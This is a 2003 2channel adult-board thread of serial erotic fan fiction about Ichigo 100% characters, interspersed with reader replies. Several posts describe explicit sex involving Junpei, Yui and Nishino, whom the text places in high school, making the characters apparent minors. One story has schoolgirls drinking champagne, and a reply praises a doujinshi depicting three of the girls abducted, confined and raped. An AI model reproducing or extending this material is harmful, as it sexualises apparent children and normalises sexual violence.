先端が少しずつめり込んでいく。
「…我慢できなかったら言えよ…?」
唯は歯を食いしばって俺の言葉は聞いていないようだった。息も止めている。
早くしたほうが得策だな…。と思いながら腰に力を込める。
「…く…ぅん…っ」
発音したかどうかも分からない音が、唯の口から漏れる。
やがて先端が埋まりきったころ、一気に俺のモノがすべり込んで、
さらに少し中に入ったところで何かを突き破る感触があった。
「……いっ…たぁ…い…」
息も絶え絶えに唯がそう言う。
「…ご、ごめん…」
「…淳平、…唯のこと、ギュってしてて…
今、ホントに痛いから…」
「あ、ああ…うん…」
通らなければいけない道と知ってはいても、もがくこともできずに苦しむ唯を見るのは辛かった。
ある意味ではそれから逃れるために、唯の頭を抱きしめる。
唯の乳首が俺の胸板に当たる。
「…そぅ…」
唯の口から少し安堵の息が漏れる。
しばらくの間、10分くらいだろうか。唯と抱き合ったままだった。
そして、唯の呼吸が少しずつ規則的になってくるのが分かった。
「…大丈夫か…?唯…?」
「…うん。もう何とか平気みたい…。
動いてみる…?」
「あ、うん…」
唯の痛みを低減させたいという無意識の働きのせいなのか、俺は唯の中で縮みかけていた。
外れないようにゴムの下端を押さえて抽挿してみる。
「…ん…やっぱちょっと痛い……。」
少し顔をしかめながら唯が言う。
「ご、ごめん…」
すまない気持ちで腰を動かす。
ふと、我に返った気持ちで身を起こして唯の乳首を両手の指でつまむ。
「え…?淳平…?」
「い、いや、俺だけ気持ちよくなっちゃ、悪いだろ…」
「いいのいいの。最初は痛いのは当たり前なんだから…。今は淳平だけでも…。」
同時に快感を得ることはあきらめて、ゆっくりと腰を動かす。
少しずつ唯の中の構造がわかって来る。
徐々に俺のモノが硬度を取り戻してくるとゴリゴリと唯の中とこすれ合う。
「んっ…んっ…」
痛みともつかぬ声を漏らす唯が愛しくなってギュっと唯の体を抱きしめながら、
腰のスピードを少しずつ速める。俺の息が上がっていく…。
そして、どれくらいの時間のあとだろうか、俺は唐突に唯の中で射精した。
「あっ…唯の中で…脈うってる…」
潤んだ目で唯がつぶやく。
「ぐっ…うっ…」
腰を襲う快感に歯を食いしばる。
感動と色々な思いが交錯して、それは普通の絶頂よりもはるかに激しいものだった。
絶頂の中でも幾度も腰を動かしながら、最後の脈動のあと、俺は唯の上に倒れた。
「淳平…そんなに気持ちよかったの…?」
「あ、あぁ・・・」
息を継ぎながら返事をする。
「そう…よかった…」
汗だくの俺の体を抱き締めながら唯がそう呟く。
俺も唯の体を抱き返しながら、唯と唇を重ねた。
んー…あとバスルームの場面と一週間後の話書いて終わりですね。
皆様、もうすこしだけお付き合いください。
473 :
きたー:03/05/09 20:13 ID:7htTaUo7
あぼーん
乙カレ 続きも(*´Д`)ハァハァ期待してます
淳平も童貞のワリに落ちついてるなぁ
2chのssってレベルたかーい、
それだけ 読みがいのあるss多いねぇ
キャラも立ってるし、引き込まれます
待ってた甲斐がアリマシタ
神よ、アリガd!!!
477 :
名無しさん@ピンキー:03/05/10 02:11 ID:xkHFqfVd
>477
アドレス削れ
お久しぶりです。遅れてすいませんでした。
>>464 >>465 >>466 ありがとうございます。ほっとしてます。
>>467 待ってました。(笑) 応援ありがとうございます。そちらも頑張ってください!
それでは、
>>463の続きです。
今回は、今度いつ書き込みできるか分からないので、長めです。
「にっ、にっ、西野…っ!?」
真横にある西野の顔。真中は西野に抱きしめられていた。
「そんなことない。淳平くんは淳平くんだよ?あたしは淳平くんに何度も助けられた。
そんなに自分を責めないで。あたしは、そんな淳平くんが大好きだから…。
だから…そんなこと言わないで。」
西野はそう言って体を離し、ちょっと顔を赤らめながら微笑んだ。
「あは。なんか恥ずかしいね。ゴメンね。抱きしめちゃったりして。」
真中も同様に赤くなって何も言えずに、視線のやり場困って、
何か言おうと思って部屋を見渡してると…。
「あ………。」
思わず声に出た。あれは…。
「?」
西野が不思議に思いながら真中の視線の方向を見た。
そこには…西野の机の上にあった「それ」は。
「…っ!!見ちゃ駄目!!」
急いで立ち上がって「それ」を机の中に隠す。
「西野…今のって…。」
西野は顔を真っ赤にしたまましばらく俯いていたが、
やがて観念したように机の中から「それ」をまた取り出して真中に渡した。
「…そう。淳平くんの第2ボタン。失くしちゃいけないから、すぐ仕舞っておいたの。」
真中の見つけた「それ」は卒業式の日に西野にあげた第2ボタン。
きれいにプラスチックの箱に入れてあって、かなり大切に保管されていたようだった。
この時、真中は自分の気持ちに違和感を覚えていた。
いや、ずっと前からあったのかもしれない。ただ、東城やさつきのこともあって、
それをうやむやにしていただけだったのかもしれない。
(俺は西野が好きだ。)
そう認めてしまった途端、真っ赤な西野を無性に抱きしめたくなった。
「西野…。俺…俺、さ…。」
やっぱりいざとなったら言い淀んでしまう。そんな自分にイラついたが、開き直った。
(俺にこんな台詞は似合わない。)
そう思ってすぐに行動に移す。
「ちょっ…、じゅ、淳平くん…?」
驚いて声をあげる西野。真中は西野を抱きしめていた。
西野の温かさが伝わってきて、自然と声が出た。
「くさい台詞は俺には似合わないし、どうやって言えばいいかも分からない。
だけど、これだけは確かなんだ。西野、好きだ。」
そう言って、両腕に力を込めた。
西野は少し遠慮がちに真中の後ろへ手を回し、涙声で言った。
「淳平くん…。ありがとう…。本当にありがとう…。あたし、淳平くんを好きになってよかった。
色々あったけど、今、こうして淳平くんと一緒にいられるから、もう、それだけで…それだけで…。
嬉しいよぉ…。……淳平くん…。あたしも…好き。大好きだよ?」
もう、言葉にならなかった。西野への愛しさが溢れて、真中はもっと強く西野を抱きしめた。
西野もそれに答えるように力を込めた。
2人はしばらくそうしていた。そして。
「西野…。」
「淳平くん…。」
2人は顔を見合わせ、ちょっとだけ触れるくらいの、短い、初めての、キスをした。
瞬間、2人は今までのお互いのすれ違いが全て埋まった気がして嬉しくなって、笑った。
「西野、今まで、ごめん。…ありがとう。」
「ううん。いいの。でも、これから、ずーっと、ずーっと一緒だよ?
東城さんとかと、浮気しちゃ駄目だよ?約束っ!」
「あぁ、約束!」
2人は微笑んで、もう1度キスをした。
続く
長く…なかったです。(汗)
なんか終わりっぽいですけど、続きます。
あ、「このまま終わってほしい」と言う方はここまでを1つの作品として見ていただければ、と思います。
この続きとして、次回からの18禁に入ります。
それでは、失礼します。
乙カレー!!
18禁…待ってまつ。あ、あと西野には
「〜しちゃだめだぞ!」的な話し方も時折混ぜて欲しいです。
では頑張ってクレ!!!(´Д`)
新作キタ━(゚∀゚)━━( ゚∀)━━( ゚)━━( )━━(゚ )━━(∀゚ )━━(゚∀゚)━!!!!!
真中×つかさキタ━━━(゚∀゚)━━━ !!!!!
雰囲気すっごくイイ!!!!
次回は18禁(;´Д`)ハァハァ タマラナーイヨ!!!
一週間置きなのかな?頑張ってくだされ。
486 :
2.3:03/05/16 20:34 ID:3qG13IL0
ベルサイユの薔薇スレで1000とったど〜
myu@「握手」
続きまってまつ
唯×真中つづき気になる
よかったらコテハンつけてホスイヨ
お待ちしてますよ!!!
myu@「握手」 WJと同じで週間連載?
こちらもマターリ待ってます!!!
とかカキコしつつも毎日RONってますが(w
自分もマターリしなくてはね
作者のみなさんガンガッテレ!!!
488 :
名無しさん@ピンキー:03/05/17 13:49 ID:ro6bHlz+
age
あぼーん
490 :
なし:03/05/18 01:13 ID:gzGgsftQ
くそ
あぼーん
あぼーん
あぼーん
あぼーん
あぼーん
あぼーん
497 :
:03/05/19 15:02 ID:bEyhgVj4
東城綾
西野つかさ
北大路さつき
南戸唯
真中淳平
東西南北だねぇ
498 :
:03/05/19 15:03 ID:bEyhgVj4
外村美鈴好きかも。
499 :
:03/05/19 15:30 ID:bEyhgVj4
「ねえ真中ぁ、あたしって胸の大きさ左右違うの?」
「え…」
「ねえ、お願い。答えてよ真中…」
答えるまもなくさつきの顔がどんどん近寄ってくる。
「そ、そんなの俺だってわかんねーし…」
「…じゃあ、触ってみてよ。」
「え?」
「触ってみてよ、真中…。」
さつきは服を脱ぎ始めた。
みたいなのキボンヌ
500 :
名無しさん@ピンキー:03/05/19 16:58 ID:uOjux6ej
500get?
あぼーん
>>497 東南西北とくれば、つぎは白、発、中で始まる苗字かな。
☆ チン マチクタビレタ〜
マチクタビレタ〜
☆ チン 〃 ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ヽ ___\(\・∀・) < つづきまだ〜?
\_/⊂ ⊂_ ) \_____________
/ ̄ ̄ ̄ ̄ ̄ ̄ /|
| ̄ ̄ ̄ ̄ ̄ ̄ ̄| |
| 愛媛みかん |/
神・職人の降臨ギボンヌ!!!
一週間早いねぇ〜
文才ホシイヨ・・・。
今日のいちごのなりきりHスレオモシロカターヨ。
ぜひ見てみるアル。
ここのスレも保守ー!
506 :
天地:03/05/21 02:58 ID:BcYbdm47
「ん?ここはどこだ?」
気付くとベットに横たわっていた。(すいません。この辺、ぱくらせてもらいます。)
テストが終わったからと言って西野の家に遊びに行ったことを真中は、思い出した。
「そうか・・・テスト勉強で疲れて西野の家で寝ちゃったんだ・・・って今何時よ
!?」そう思いながら携帯で時間を調べてる時、部屋の扉が開いた。
「ふぅ〜気持ちよかった」
真中は、一瞬目を疑った。全裸で部屋に入ってくる西野をみたからだ。
「キャ・・・純平君あっち向いてて・・・」
言われてなすがままに真中は、目を隠した。
「純平君・・・起きてたんだ。」
あぼーん
あぼーん
神キタ━━━━━━\(゚∀゚)/━━━━━━ !!!!!
わくわく、つづき楽しみー
いい!
510 :
名無しさん@ピンキー:03/05/21 20:36 ID:t05Vo6Gh
東城・・・ハアハア・・あれが立っちゃう・・
511 :
天地:03/05/21 23:42 ID:itLbPecd
初めて書いたんで・・・変でした。すいません
512 :
天地:03/05/21 23:55 ID:itLbPecd
「・・・・・・・」
「もう、着替えたからこっち向いていいよ・・・」
それからしばらく経って・・・
「そういえば・・・西野の親はどうしたの?」真中は、西野に聞いてみた。
「ん?この前も言ったと思うけど・・・うちの親は、旅行好きで今日も出かけてるんだ」
「じゃぁ・・・今日は、西野一人!?」すこし驚きながら聞いてみた。
「うん・・・。そうだ!!純平くん泊まって行ってよ」
513 :
山崎 渉:03/05/22 02:13 ID:kEHAV9zG
━―━―━―━―━―━―━―━―━[JR山崎駅(^^)]━―━―━―━―━―━―━―━―━―
age
あぼーん
516 :
名無しさん@ピンキー:03/05/22 18:10 ID:l6yGVZCg
>>511 神キタ━━━━━━\(゚∀゚)/━━━━━━ !!!!!
いい!
変じゃないよ、楽しみに待ってマッスル!!
新たな神の降臨!!
518 :
天地:03/05/23 00:32 ID:uX9u3NPi
ありがたぃお言葉ありがとです。がんばって考えて書いていきますんでその時は、よろしく
です。
519 :
天地:03/05/23 00:48 ID:uX9u3NPi
「ぇ?・・・」
真中は、驚いたがある事を思い出した。
家に帰っても親は、親戚の家に泊まりだという事を思い出し
「いいよ。家に帰っても誰もいないし」
「やった!今日も1人かと思ってたんだ。」
「それより、純平くんお腹空いてない?」
「そういえば・・・」
「じゃぁ私料理作るね」
「じゃぁ俺も手伝うよ」
「純平くんはそこで待ってて私、こう見えても料理うまいほうだとおもってるんだがら」
「あ!料理できる前に純平くんお風呂入っててよ」
あぼーん
うぅ…。すいません。ちょっと忙しいので…。もう少し、待っててください〜。
とりあえず、レスだけでも…。
>>482 ありがとうございます。話し方、了解しました。
>>483 >>484 >>486 >>487 >>504 待ってくださってありがとうございます。待たせてすいません…。
>>506 頑張ってください。
ぶっちゃけ、文面盗まれるのはあまりいい気がしないんですが。(笑)
天地シャマ、毎夜のカキコ、乙〜!
台詞回しで話を進めるのがスキだったりします。
イイ(・∀・)!!つづききになるよ。
myu@「握手」スァマ、
お忙しいようで、乙彼です。
ユクーリして待ちまつ。今週は合併号ってことでw
さて、今夜もロム専に戻りますか。
523 :
天地:03/05/23 23:50 ID:aIp+BXH7
>>521 ありがとです。myu@「握手」さんの18禁の奴期待してますんでwあと文面盗んですい
ません。以後気をつけます。
>>522 頑張って毎夜書ける様頑張ります。(ときどき行き詰まるかも知れませんがw)
524 :
天地:03/05/24 00:04 ID:Q+ygh8kv
「お風呂は、この部屋を曲がったとこにあるから」
真中は、西野が料理作り終わるまで風呂に入ることにした。
「西野と俺がもし結婚したら毎晩、こんな風になるのかな〜」
真中がそんなことを妄想した次の瞬間、西野の声が聞こえた
「純平くん〜料理できたよ。早くあがってきて一緒に食べようよ。」
「お、おぅ。今行く」
風呂からあがった真中は、西野の手料理の待つテーブルに向かった。
天地タン、今夜も乙カレー。
淳平の字が違うよ。妄想癖は、真中らしいなーと思ってみたり。
毎晩チェキしてるよん、明日も楽しみ、待ってるよん。
オヤスミナシャイ。
526 :
天地:03/05/24 01:10 ID:Q+ygh8kv
ハッ!(゜д゜)マチガエテタ。。。 (*ノノ)キャ 恥ずかしい。
527 :
525:03/05/24 01:43 ID:m+GxzEFy
純平タンだったら「土佐の1本釣り」(古っ を思い出す。
あっ主人公年齢は同じか・・・。 もう寝よう。
528 :
名無しさん@ピンキー:03/05/25 12:48 ID:bbMmzYE7
エロ期待!!!
エロ期待!!!
ラブラブ期待!!!
アツイノ期待!!!
今夜は神の降誕はあるのか?
明日、月曜だもんなー
期待して待つ!!!
531 :
天地:03/05/26 01:02 ID:mWzizwYB
「これ・・・全部西野が作ったの?」
「へへへ。前よりは上達したでしょ。」
「うまぃ・・・」
「ありがとぅ。でも今日は、疲れたから私、先寝るね」
と西野は言って行ってしまった。
【ここまでは、昨日の分です。昨日は、爆睡してたのでかけませんでした。
すいません。】
532 :
天地:03/05/26 01:11 ID:mWzizwYB
真中は、西野の料理を全部たいらげて自分も又、寝ようと思い西野の部屋に
向かった。
【一様、今日の分は、これ↑です。昨日と今日の分を考えるのは、やはり僕
には、無理だったので本当にすいません。(あまり書けなくて・・・)】
>>531-532 ま、無理すんな
書きダメできたらupよろ
いまさらだけど、冬コミで東城、西野、北大路の3人が拉致られて監禁されて
めちゃめちゃに陵辱される本があったなぁ・・・
セミプロなだけにウマーだったYO!
534 :
名無しさん@ピンキー:03/05/26 17:30 ID:2/cabO02
そういう本ってどこでゲッツするんでつか?
イベント会場だYO
暇があるなら買いに逝ってあげなさい
537 :
山崎 渉:03/05/28 13:21 ID:3MGJJ1xD
∧_∧
ピュ.ー ( ^^ ) <これからも僕を応援して下さいね(^^)。
=〔~∪ ̄ ̄〕
= ◎――◎ 山崎渉
さつきのパイズリで(;´Д`)ハァハァという妄想は逝ってよしでつか?
前まで五月ちゃんやおねティに(;´Д`)ハァハァだったヤシにも楽しめる作品ですか?
541 :
名無しさん@ピンキー:03/05/29 21:36 ID:KWyunf3N
age
542 :
11:03/05/29 21:37 ID:Rz6ADzJk
あぼーん
544 :
nanasi:03/05/29 22:48 ID:Vx1YvOna
というか題の 東城綾vs北大路さつき はないのだろうかw
神・職人さん続きキボンヌ(・∀・)トテモイイサクヒンデスタ
漏れ一巻しか持ってないから、よかったらさつきタンがどんな風に
登場するか教えてYO
>>545 2巻のラスト、登場。
道路にあった缶をさつきが蹴ったら、真中にあたった。
何巻の辺りで高校生になったのでつか?
あぼーん
>>547 3巻
|-`).。oO(モレハシンセツナヤツダナ〜)
550 :
名無しさん@ピンキー:03/06/02 11:31 ID:dJTm+ck9
エロ!エロ!
期待!期待!
あぼーん
あぼーん
>>546 ついに2巻ゲトーしますたm(_ _)m
あぼーん
さつきとつかさの関係ってどうなってますか?
呼び方とかお互いの印象とか。
一発カイてみようかと思ったのだが
最近コミック読み出したからわからんちん
sage
そっか、面識なかったか。
>557サンクス。忘れ去られた頃に投下しに来ます
つかさとさつきではどっちが積極的でしょうか?
>>559 積極性において、真中を襲おうとしたさつきに勝てるキャラはいません。
いくら淫、もとい・・・積極的でも、オパーイがでかくないとこのスレ的にはまずそうだ罠
あぼーん
なんかつかさの方がしおらしい気がする。どうもさつきは不良っぽい。
564 :
天地:03/06/04 01:47 ID:MEFw4SXQ
そして真中は、布団を借りようと思い、西野に部屋に入った
「西野・・・布団ってある?」
「あるけど・・・出すのめんどくさいから一緒に寝ない?」
「えぇ?」
「いいの・・・?」
西野は、コクンと頭を下げた。
淳平は、西野のベットにそーっと入った。
「淳平くん・・・後からぎゅっと抱きしめて・・・」
565 :
天地:03/06/04 01:48 ID:MEFw4SXQ
スイマセン。仕事+学校で忙しかったもんですからカキコできませんでした。
あぼーん
天地タン 乙彼〜
マターリ逝きましょう。
オモシロカターヨ ツヅキキニナルーヨ
568 :
546:03/06/04 21:40 ID:xhkcP/Pc
>>565 無理せずガンガッテ〜ヽ(´ー`)ノ
あぼーん
(´-`).。oO(つかさってBカップだったんだ、激しく凹むなぁ・・・
黒川先生の下の名前って何だっけ?
>>570 いやいや!!雑誌とか読んでる時に
そういう子に「何読んでるの〜?」とかって後ろからのぞかれてみろ。
ほのかにあたたかくて柔らかいものが、控えめに腕に当たるんですよ
すごい萌えだし、気持ちイイよ(*´Д`)ハァハァ
>>570 ヒロインの綾タンなら挟めるからいいじゃないかw
575 :
::03/06/07 16:13 ID:TRl4wtWi
>573 綾よりさつきの方が巨乳だから、もっといろんなことができそう
さつきって処女?
お久しぶりです。っていうかすいません。
大変長い間お待たせしました。
>>481の続編です。
途中、真中の性格が変わってしまった気がしますが、気にしないでください。(笑)
こんな作品ですが最後まで見届けてやってくださいませ。
2人はそのまま楽しい時間を過ごした。
高校生活のこと、お互いの気持ち、中学での思い出。
全てが新鮮で、あの頃は深刻な問題だったけど、今では懐かしい楽しい思い出ばかりだ。
こうして2人で笑って話せる。その「今」があるだけで十分だった。
…なんてことを考えていた時に訪れる一瞬の沈黙。
お互い、何を思っているのかは分かっていた。
「西野…。俺、西野を抱きたい。」
恥ずかしいはずなのに、不思議と自然に声が出た。
「…うん。でもね、淳平くん…。」
「分かってる。西野を傷つけたりしない。雰囲気に流されてるわけじゃない。
ただ、西野が好きだから。それだけだよ。」
不安そうな西野に優しく声をかけ、そっと抱きしめる。西野は真中の自分に対する優しさ、
愛しさが感じられて、ただただ頷くしかなかった。
「淳平くん…。ありがとう…。あたし、もう迷わないよ。淳平くん。…あたしを抱いて。」
真っ赤な西野に真中は優しく微笑んで、そっとキスをした。
キスが短いものから長いものに変わっていく。
「んっ…っ……あ、はぁっ…。」
唇が離れる度に西野が苦しそうに息を吐く。目に涙を浮かべながら真中に抗議する。
「ち、ちょっと…淳平くん…っ!?…もうっ…苦しいよ…。」
その言葉に物凄く反応し、慌てて離れる真中。
「あっ…ご、ごめん!その…や、やり方とか知らなかったし…。ごめん!」
平謝りの真中をきょとんとして見ていた西野だったが、急に笑い出した。
「ぷっ…。あ、あははははは。じゅ、淳平くん…そんなに謝らなくても…。あははははは。」
西野の爆笑に今度は真中がきょとんとしたが、やがて自分がムードを読まずに
思いっきり取り乱してしまったことに気付き、1人赤面した。
「に、西野…。そんなに笑わなくても…。」
「あはは…ごめんごめん。だって、だってさ…。あははははは。」
再びツボにはまったようで、また笑い出した西野。
どうにかして笑いを止めたかった真中は、顔を真っ赤にしながらも、
笑いが止まらない西野の唇をもう1度奪った。
>>578 myu@「握手」様、どうもお久しぶりです、唯小説ですが…
久々の続編キタ━━━━(゚∀゚)━━━━ッ!! 台詞回しが最高です。乙彼様です。
僕も続き書かないと…(;´Д`)
「あははは…っ!?んぅ…。」
驚きで目が一瞬見開いた後、すぐにとろん、とした表情になる西野。
その様子を見て、真中はそのままキスのポイントを下に下げていく。
首筋、鎖骨。敏感になっている西野の肌はちょっと息がかかるだけで反応した。
「あんっ…く、くすぐったい……あっ、はぁっ…。」
首筋辺りを行ったり来たりしながら、真中は右手をそっと西野の胸に置く。
「ん…。」
少し身を縮める西野。ある程度の緊張は仕方ないが、これ以上西野が緊張しないように、
ゆっくり、優しくこねていく。
「あぁ…。んっ……。あ、ふぅ…っん…。」
少しずつ緊張が解けてきた感じが分かる。真中はそのまま西野の服を脱がし始める。1つずつ、丁寧に。
西野はその行為が、自分をすごく大切にしてくれてることが十分に伝わってきて嬉しかった。
続く
今日はここまでです。ちゃんとできているでしょうか…?
感想、お待ちしています。
今度、いつ書き込みできるか分かりませんが、これからもよろしくお願いします。
>>579 ありがとうございます!僕も続き待ってますよ〜!
東城の小説キボンヌ
やばいほど、面白いです〜。続きキボンヌ
さつきないの?
myu@「握手」
>>577-578>>580 乙彼様、つかさタンらしくて萌え死にそう。
続き気になるー。
唯小説ガンガレー、五巻も購入されたみたいですし(w
マターリ待ちます。
唯はどんなキャラでつか?
胸が小さかったら(´・ω・`)ショボーン
唯は胸ないよ。
炉キャラだから。
あぼーん
ってかこのスレはじめて来たけど、小説いいじゃん!!つかさ×綾のも気になる。
全部続き激しく期待。皆様がんばってください!
myu@「握手」さん乙カレーー!!!マジでいいです!ガンガレ!!
(´-`).。oO(さつき・・・
あぼーん
594 :
reia:03/06/13 15:38 ID:eAyHXHzA
すっごい久しぶりだけど、まだレズssがないので続けてもいいのだろうか…
595 :
reia:03/06/13 15:56 ID:eAyHXHzA
>>391 一階のリビングで、二人は向かい合って食事をした。
「…おいしー…」
「え!?本当?よかったぁ。家の味ってやつがあるから東条さんの口にあわなかったらどうしようとおもっちゃった!」
「ううん!本当に美味しいの。西野さんのお母さんってお料理上手なのね。」
「うーん…確かに上手かも。でも私はあんまりだけどね」
楽しそうに話すつかさ、笑いながら頷く綾。
しばらくのあいだ談話を楽しみ、夕食を食べた二人は後片付けをおわすと、ソファに座りテレビを見始めた。
テレビは再放送の映画をやっていた。
よくある恋愛とアクションを交えた内容。
綺麗な女優とかっこいい男優、派手なアクションが魅力の映画でストーリー的にはよくある話しである。
596 :
reia:03/06/13 16:04 ID:eAyHXHzA
「これさー、面白いけど何回も再放送しちゃ面白みもへっちゃうよねー。」
むぅっと頬を膨らませて、つかさが言う。
「そうね…でも、本当に良い映画なら何度みても飽きないなって私は思うの。」
「うーん…そうかもね、でもそんな映画ってあるの?」
「…。まだない…かな…。でも、きっとそんな映画が出てくるのも近いんじゃないかな。」
」
「あ!東條さんの脚本が世に出るようになったらきっと、そんな映画になるよ!!」
「え…っ。そ、そうかな…ありがと…。」
嬉しそうに微笑む綾がすごく可愛らしくて、つかさは少し悲しくなる。
綾の脚本、そして間中の監督。ふたりが大きくなればきっと大傑作ができるのだろう。
でも…自分は…そんな間中になにもできない。
ただ綾と間中を邪魔しないようにする以外何もできない。
「…西野さん?」
ぼぅ…っとテレビをみつめるつかさに綾が心配そうに問いかける。
597 :
reia:03/06/13 16:16 ID:eAyHXHzA
大きな瞳、長くて綺麗な髪、ふわふわしていていかにも女の子らしい東條綾。
みればみるほど、近付けば近づく程、彼女の良さがわかって嫉妬するどころではなくなるつかさがいる。
「うん…ごめん、ちょっとぼうっとしちゃった。」
「…大丈夫?具合悪いならそろそろ私、帰るから早く寝た方が…」
「いいんだって!あ、そうだ!こんなのあるんだけど…!」
ぺろりと舌を出しながら、つかさは立ち上がり、キッチンの冷蔵庫に向った。
冷蔵庫から出して来たものは…
つかさの父親が買って来たシャンパンだった。
「これねー、パパが買ってきたんだけど、この間ちょっと飲んだら甘くて美味しかったんだー!」
「え?!でもそれアルコールじゃ…」
「たまにはいいじゃん!息抜きだって!ねっ?」
「うーん…そうねぇ…少しらいならいいのかしら…。私も弟もよくお父さんとかに飲まされていたし…」
「でも、ビールとかでしょ〜?美味しくないんじゃない?」
「うん!はっきり言うとあまり美味しくないわ…」
「じゃ、これ飲んでみてよ!本当に美味しいんだって!」
598 :
reia:03/06/13 16:30 ID:eAyHXHzA
グラスをとると、瓶の蓋をあけ、金色のシャンパンを注ぐ。
笑顔でグラスを差し出すつかさ。
グラスから立ち登る匂いはアルコールが入っているとは言え、とても甘いにおいがしていた。
「うん…」
少し不安げに綾はグラスを取ると、ゆっくり口をつけた。
コクン…
口いっぱいに甘い味が広がり、ほんのり果樹の味もした。アルコールは殆ど感じずとても美味しかった。
「どぅ?やっぱダメ?」
「…ううん!すごい美味しい!こんなのはじめて!」
笑顔で綾が返すと、ほっとしたようにつかさも笑顔になった。
「よかったぁ!じゃ、私ものもっと!…コクン…うん。やっぱりおいしぃー!」
そうして、シャンパンを飲み始めた二人。
飲みやすいシャンパンなだけに、簡単にグラスが進む。
599 :
reia:03/06/13 16:37 ID:eAyHXHzA
「きゃははっ!東條さん面白い〜」
「うふふっ!でね…っ弟がねー…!」
アルコールも溜り始めたのか二人の会話が盛り上がり、笑い声が耐えない。
「西野さんってほんと素敵な女のこってかんじよね。うらやましーもてるんでしょー」
「ううーん。どうだろ?でも東條さんだって女の子らしいしー私も羨ましい!」
綾の肩に頭を載せ、虚ろな目で見つめるつかさ。男の子だったら我慢できなくなるような状態。
いや、女の子でもどきっとしてしまうだろう。
「ふふっ…やっぱり西野さん可愛いっ」
「えへへっ。東條さんもかわいいよーぅ!」
はしゃぎながら、綾に抱きつくつかさ、そのつかさを抱きしめる綾。
あぼーん
続き読みたいよ、、、
reia神キタ――――――!!!
個人的にはつかさのサド癖が発露、真性マゾの東城を責め責めな展開キボン
逆でも無問題ですがw
ちなみに、東條→東城で砂
わざとなら無粋なツッコミスマソ
あぼーん
604 :
名無しさん@ピンキー:03/06/16 00:08 ID:fv7nrBJc
age
605 :
名無しさん@ピンキー:03/06/17 20:18 ID:wYTd94zl
age
真中ー唯のSSの続きも読みたいです
(゚Д゚)<さつきターン!
608 :
名無しさん@ピンキー:03/06/18 11:38 ID:P6Gm937w
age
あぼーん
5巻買ってきたけど、おもしろくなかった(´・ω・`)ショボーン
611 :
::03/06/21 09:43 ID:sM9DRZ5S
age
あぼーん
あぼーん
614 :
名無しさん@ピンキー:03/06/23 16:19 ID:99fLr2jm
age
あぼーん
あぼーん
617 :
名無しさん@ピンキー:03/06/26 16:06 ID:WVqGcSoL
age
あぼーん
619 :
名無しさん@ピンキー:03/06/27 18:46 ID:fpiKzAXP
age
あぼーん
ここ死んでる?
あぼーん
624 :
名無しさん@ピンキー:03/06/28 19:07 ID:fz+M5Qxn
捕手
上げなくてもいいのに…
綾の前にさつきで肩慣らしだモナ
>>583 >>585 >>589 >>590 ありがとうございます!また感想ください。
>>reiaさん
初めまして。myuです。ずっと待ってました!続きもかなり気になります…。
頑張ってください!
では、長いブランクが空いてしまってすいませんでした。
>>580の続きです。
最近寂しいので、このスレの復活を願って。
そして、下着だけの姿になった西野。真中は少し体を離して、西野を見る。
西野は恥ずかしさのあまり、怒った。
「もうっ。恥ずかしいよ…。そんなに見ないで…。胸もそんなに大きくないし…。」
「ご、ごめん。でも、そんなことないよ。…す、すごくきれいだ。」
「…ありがと。でも、やっぱり恥ずかしい…。」
恥ずかしがる西野に何回目かのキスを落とし、下着越しに胸を揉んでいく。
上からでも先端が堅くなっていることが分かった。
「んぅ!あっ…あぅ……。じゅ、淳平くん…。あ、あぁん!」
自分の声とは思えないほどの甘い声に西野は「恥ずかしい」を通り越して、
高揚とした気分になってきた。
「んん…。あっ、は、あぁっ…。」
真中はそのままブラを上にずらし、直に西野の胸に触れる。
滑らかな曲線を描く西野の胸はきれいに整っていて、ほんのり汗ばんでいた。
真中は右手で胸を揉みながら、左の先端に舌を這わせる。
「あんっ!だ、だっ…め…っ…。んん!あっ…あぁ!」
西野は初めての快感に戸惑いながらも真中にしがみつく事で落ち着こうとする。
そのまま真中は、つん、と上に向いているピンク色の先端を口に含む。
「あぁっ!!あぅ…っん!あ、はぁっ…あん!」
さらに真中はそれを口に含んだまま、舌で転がす。
「あん…。そ…そんなことしないで…。あ、ふぁ…。」
西野は口では抵抗しつつも、真中のされるがままになっていた。
真中はそのまま西野の胸にいくつものキスマークを残した。
先端を時には甘噛みしたりしながら。
やがては反対の胸に行き、同じようにキスマークを残す。
「くっ…んん!!あっ!あぅぅ…。そんなの残したら…あぅ!んん…。あっ…。ば、ばれちゃうよ…?」
西野が言う。だが西野は自分と真中の仲の証が出来たみたいでどこか安心し、嬉しかった。
「うん…。でも、俺、西野との仲が壊れるのが怖くて…。
何か、証みたいなのが欲しかったんだ…。西野、怒ってる…?」
行為を止めて真中が聞く。西野は即答した。
「そんなことない!あたしだって淳平くんと離れるのが怖かった…。
だから、淳平くんも同じ不安を持ってることが分かって嬉しい…!
あたし達、ずっと一緒だよ…?」
西野が抱きつく。真中は返事の代わりに、微笑んで西野にキスを落とす。
胸を優しく揉みながら、唇を今度は胸を通り、へそに行く。
「あっ、ふ、ふぁ!?じゅ、淳平くん…っ!そ、そんなとこ…!!あっ!あん!!」
先程とは全く違う快感に西野の息も上がっていく。
唇はへそに行きながら、胸への愛撫も続ける。
先端を軽く摘まみ、弾く。激しく揉んだり、優しく揉んだり。
「あぁぁっ…!だ、だめっ…!そ、そんなに激しく…っ…ん!んん!!あっ、はぁっ…!!
き、気持ち、いい…っよぉ…!はぁ……っん!!ね、ねぇ…っ!?あ、あたし…っ…!
な、何か…何か…あ、はぁっ…く、来る…よ…!?あっ、あぅ!」
へそと胸への快感が同時に西野を襲い、背中を思いっきり反らし、一気に絶頂に登りつめる。
「西野…。大丈夫。俺はいるから…。素直に感じて。」
さらに真中は背中へ手を回し、優しく撫でる。それだけでも西野は十分に達する事が出来た。
だが、真中はとどめと言わんばかりに、いつもより強く先端部をきゅっ、と摘まんだ。
「ああぁっ!!じゅ、淳平くん…!も、もぉ…っ!だ、だめぇ…っ!!来るよ!?き、来ちゃう…!
あぅ!あん…っ!!あっ、はぁっ…んん!!あっ、あぁぁぁ!!!!!」
西野は背中をピーンと伸ばし、そのまま真中の上に倒れこんだ。
「あん…あ、はぁ………。」
真中はぐったりとなった西野を優しく抱き留める。西野も真中の後ろに手を回す。
「ん…。すごく、気持ちよかったよ?淳平くん…。でも…あはっ、やっぱり恥ずかしいな…。」
そう言って、きゅっと真中にしがみつく。
「うん…俺も……その、気持ちよかった…。」
真中は西野の頭をぎこちないながらも、撫でながら、
自分の胸あたりに西野の胸が当たっていることを極力意識しないように必死に耐えていた。
しかし、その努力も水の泡となる。
